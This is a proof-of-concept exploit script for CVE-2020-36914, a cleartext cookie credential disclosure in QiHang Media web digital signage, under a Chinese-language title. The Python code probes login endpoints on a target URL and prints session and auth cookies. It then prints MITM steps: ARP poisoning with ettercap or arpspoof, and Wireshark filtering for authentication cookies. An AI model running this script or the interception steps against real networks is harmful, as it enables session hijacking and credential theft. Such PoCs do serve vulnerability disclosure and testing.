CVE-2020-36914 QiHang Media Web数字标牌Cookie认证凭证明文传输漏洞

import requests import argparse from bs4 import BeautifulSoup def exploit_cve_2020_36914(target_url): """ CVE-2020-36914 PoC - QiHang Media Web Cookie Authentication Credentials Disclosure This PoC demonstrates the information disclosure vulnerability by capturing authentication cookies transmitted in cleartext. """ print(f"[*] Targeting: {target_url}") # Step 1: Attempt to capture cleartext cookie session = requests.Session() # Login endpoint typically at /login or /admin/login login_endpoints = ['/login', '/admin/login', '/', '/index'] for endpoint in login_endpoints: try: response = session.get(target_url + endpoint, timeout=10) # Check for cookie in response if session.cookies: print(f"[+] Found cookies at {endpoint}:") for cookie in session.cookies: print(f" - {cookie.name}: {cookie.value}") # Check if cookie contains authentication data if 'PHPSESSID' in session.cookies or 'auth' in str(session.cookies).lower(): print("[!] Authentication cookie detected in cleartext!") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 2: Test for cleartext transmission # Note: In real attack, use Wireshark/tcpdump to capture HTTP traffic print("\n[*] To capture cleartext cookies, perform MITM attack:") print(" 1. Use ettercap or arpspoof for ARP poisoning") print(" 2. Capture HTTP traffic with Wireshark") print(" 3. Filter: http.cookie contains 'auth' or 'session'") return session.cookies if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2020-36914 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') args = parser.parse_args() exploit_cve_2020_36914(args.target)